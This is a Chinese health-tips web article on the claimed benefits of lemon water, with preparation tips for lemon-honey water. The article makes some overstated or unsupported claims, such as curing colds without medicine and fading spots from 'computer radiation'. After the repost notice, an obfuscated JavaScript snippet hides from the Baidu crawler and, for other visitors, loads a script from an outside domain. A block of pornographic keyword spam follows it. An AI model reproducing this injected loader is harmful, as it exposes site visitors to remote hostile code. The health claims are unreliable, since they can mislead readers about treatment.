當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

檸檬泡水喝的功效與作用是什么

2017-07-11 11:57:20  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在生活中,我們都知道光喝白開水是沒有什么味道的。因此我們常常在水里加入一些物質(zhì)來豐富白開水的口感的。其中就可以加入檸檬這種物質(zhì)的。

生活中,我們都知道光喝白開水是沒有什么味道的。因此我們常常在水里加入一些物質(zhì)來豐富白開水的口感的。其中就可以加入檸檬這種物質(zhì)的。但是我們不知道的是檸檬泡水喝有什么樣的好處的。因此我們就要針對這一問題進(jìn)行詳細(xì)的了解的。那么到底檸檬泡水喝的功效與作用是什么?下面我們就來看看小編是如何解答這一問題的吧。

檸檬片泡水的作用,一就是減肥,二就是潤夫和美容。檸檬茶特別有鎮(zhèn)定的作用,據(jù)俄國人講,常喝富含維生素C的檸檬茶可以預(yù)防感冒,美國科學(xué)家發(fā)現(xiàn),飲熱檸檬茶有助抗皮膚癌有延緩皮膚老化的作用。

檸檬色澤橙黃、氣味芬芳,是一種營養(yǎng)極高的水果。檸檬中含有豐富的檸檬酸,被譽為“檸檬酸倉庫”。檸檬中最主要的營養(yǎng)成分除了糖類以外,還有鈣、磷、鐵及維生素B1、維生素B2、維生素C和煙酸等。

檸檬泡水喝的功效與作用:

1、美白

由于檸檬維生素含量極為豐富,因此檸檬水是美容的佳品,能防止和消除皮膚色素沉著,起到美白的作用;

2、防治心血管疾病

喝檸檬水還可以防治心血管疾病,因為檸檬水能緩解鈣離子促使血液凝固的作用,所以可預(yù)防和輔助治療高血壓和心肌梗死;

3、防治腎結(jié)石

檸檬水中含有大量檸檬酸鹽,能夠抑制鈣鹽結(jié)晶,從而阻止腎結(jié)石形成,甚至可以使部分慢性腎結(jié)石患者的結(jié)石減少、變少。美國泌尿?qū)W會年會上公布的研究成果也表明,常喝含檸檬汁的飲料可提高尿中的檸檬酸酯水平,該化學(xué)物質(zhì)能預(yù)防尿中的礦物質(zhì)在腎內(nèi)形成結(jié)晶體即腎結(jié)石。

4、提高免疫力

檸檬含有豐富的維生素C,具有抗菌、提高免疫力、協(xié)助骨膠原生成等多種功效,經(jīng)常喝檸檬水,可以補充維生素C。感冒時一天喝上500至1000毫升的檸檬水,可以減輕流鼻涕,感冒散得也快,尤其是剛感冒時,可以不藥而愈。除了抗菌及提升免疫力,還有開胃消食、生津止渴及解暑的功效。

5、祛痰

更鮮為人知的是,檸檬也能祛痰,且祛痰功效比橙和柑橘還要強。將檸檬汁加溫開水和鹽,飲之可將喉嚨里積聚的濃痰順利咳出。感冒初起時,不妨用檸檬加蜜糖沖水飲,可以緩解咽喉痛、減少喉嚨干等不適。

注意事項

感冒初起時,喝蜂蜜檸檬水還可以緩解咽喉疼痛,減少喉嚨干燥等不適。自制檸檬蜂蜜水有兩種方法,都很簡單。一種方法是將檸檬洗凈、切片后放入杯中,再取約2茶匙蜂蜜,然后慢慢注入溫水,攪拌均勻即可,如喜歡冰飲,可以加入冰塊。另一種方法是用蜂蜜把洗凈切好的檸檬薄片腌制起來,放在冰箱中儲存,讓蜂蜜和檸檬充分融合,每天早上用干凈的勺子取出一片檸檬直接泡水喝。此法容易長期堅持,否則每天要去切一個檸檬,很多人會嫌麻煩而不堅持飲用。建議愛美女性每天清晨起床后先空腹喝上一杯檸檬蜂蜜水,既美容又清潔腸道,稍后再吃早餐。而對于電腦一族,常喝此水則可以淡化因電腦輻射而長出的面部斑點。值得注意的是,胃酸過多者、潰瘍患者不宜飲用。

通過以上這些內(nèi)容,我們了解到了檸檬泡水喝對于身體是很有好處的。其實檸檬這種水果除了可以泡水喝,還可以制作成其他的一些美食的。有不少人都不太了解這方面的知識的。這就需要我們在生活中多多的關(guān)心到檸檬的知識。這樣的話,我們就能比較好的制作成更多的美食了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品嫩草久久久久| 国产综合色在线精品| 久久久免费精品re6| 国产精品.XX视频.XXTV| 国产香蕉免费精品视频| 亚洲精品成人片在线观看精品字幕| 含羞草国产亚洲精品岁国产精品 | 欲帝精品福利视频导航| 久久久久久亚洲精品影院| 国产精品亚洲а∨无码播放| 国产精品自产拍2021在线观看| 久久精品aⅴ无码中文字字幕重口| 精品人妻伦九区久久AAA片69| 精品真实国产乱文在线| 精品人妻久久久久久888| 亚洲人精品午夜射精日韩| 四虎影视精品永久免费网站| 3atv国产精品视频| 久久久久久影院久久久久免费精品国产小说| 四虎永久在线精品免费影视 | 亚洲精品色播一区二区| 日韩精品系列产品| 窝窝午夜看片国产精品人体宴| 国产SUV精品一区二区四| 人人妻人人澡人人爽人人精品97 | 99re8这里有精品热视频免费| 国产精品国产色综合色| 国产精品久久久久久久久| 无码囯产精品一区二区免费 | 国产微拍精品一区二区| 亚洲自偷精品视频自拍| 久久精品国产亚洲AV果冻传媒| 久久精品国产一区二区三区| 精品不卡一区中文字幕| 精品69久久久久久99| 亚洲精品无码mⅴ在线观看| 91精品国产自产91精品| 亚洲无删减国产精品一区| 国产精品看高国产精品不卡| 国内大量偷窥精品视频| 久久精品国产亚洲Aⅴ香蕉|